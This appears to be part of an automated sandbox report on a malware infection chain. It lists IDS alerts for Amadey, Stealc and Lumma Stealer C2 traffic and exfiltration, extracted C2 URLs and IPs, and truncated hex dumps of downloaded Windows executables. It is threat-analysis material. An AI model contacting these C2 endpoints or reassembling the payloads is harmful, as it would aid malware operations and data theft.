Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:50257
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50271 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50286 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:50323 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50363 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:50434
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50441 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49793 -> 104.21.10.6:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49770 -> 104.21.10.6:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49770 -> 104.21.10.6:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49834 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49834 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49876 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49777 -> 104.21.10.6:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49777 -> 104.21.10.6:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49980 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49893 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49870 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49876 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49833 -> 104.21.10.6:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50004 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50004 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49870 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50014 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50014 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50022 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50065 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50052 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50259 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50259 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50266 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50274 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50274 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50277 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50275 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50275 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50261 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50261 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50321 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50318 -> 104.21.33.116:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: https://property-imper.sbs:443/api
Source: Malware configuration extractor	IPs: 185.215.113.43
Source: Malware configuration extractor	URLs: home.fvtekk5pn.top
Source: Malware configuration extractor	URLs: CgPhome.fvtekk5pn.top

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 13:24:11 GMTContent-Type: application/octet-streamContent-Length: 513536Last-Modified: Sun, 24 Nov 2024 12:22:56 GMTConnection: keep-aliveETag: "67431aa0-7d600"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 b7 da 41 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 68 02 00 00 9c 00 00 00 00 00 00 90 a8 01 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 08 00 00 06 00 00 00 00 00 00 03 00 40 c3 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 e2 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 03 00 3c 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 87 02 00 c0 00 00 00 00 00 00 00 00 00 00 00 c8 e3 02 00 38 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ba 66 02 00 00 10 00 00 00 68 02 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 64 72 00 00 00 80 02 00 00 74 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 68 20 00 00 00 00 03 00 00 10 00 00 00 e2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 08 00 00 00 00 30 03 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 3c 14 00 00 00 40 03 00 00 16 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 63 6f 53 00 00 00 00 00 cc 04 00 00 60 03 00 00 cc 04 00 00 0a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 13:24:18 GMTContent-Type: application/octet-streamContent-Length: 4385280Last-Modified: Sun, 24 Nov 2024 12:19:04 GMTConnection: keep-aliveETag: "674319b8-42ea00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 80 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 b0 c4 00 00 04 00 00 61 6c 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 66 c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc 65 c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 38 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 64 69 75 6a 70 63 69 00 40 1b 00 00 30 a9 00 00 38 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 64 79 70 71 71 78 72 00 10 00 00 00 70 c4 00 00 04 00 00 00 c4 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 c4 00 00 22 00 00 00 c8 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 13:24:30 GMTContent-Type: application/octet-streamContent-Length: 1860096Last-Modified: Sun, 24 Nov 2024 12:34:33 GMTConnection: keep-aliveETag: "67431d59-1c6200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 20 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 4a 00 00 04 00 00 af f8 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 05 00 00 10 00 00 00 62 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 70 05 00 00 02 00 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 05 00 00 02 00 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 2a 00 00 90 05 00 00 02 00 00 00 76 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 67 63 62 7a 6f 68 75 00 d0 19 00 00 40 30 00 00 c2 19 00 00 78 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 6d 79 72 61 68 75 73 00 10 00 00 00 10 4a 00 00 06 00 00 00 3a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 4a 00 00 22 00 00 00 40 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 13:24:39 GMTContent-Type: application/octet-streamContent-Length: 1801728Last-Modified: Sun, 24 Nov 2024 12:34:40 GMTConnection: keep-aliveETag: "67431d60-1b7e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 30 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 69 00 00 04 00 00 26 27 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2a 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 65 72 62 6a 71 71 76 00 e0 19 00 00 40 4f 00 00 e0 19 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 75 71 64 65 77 66 79 00 10 00 00 00 20 69 00 00 04 00 00 00 58 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 69 00 00 22 00 00 00 5c 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 13:24:48 GMTContent-Type: application/octet-streamContent-Length: 921600Last-Modified: Sun, 24 Nov 2024 12:32:47 GMTConnection: keep-aliveETag: "67431cef-e1000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 e7 1c 43 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 60 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 fe 95 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 3c a5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 3c a5 00 00 00 40 0d 00 00 a6 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9a 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 13:24:50 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 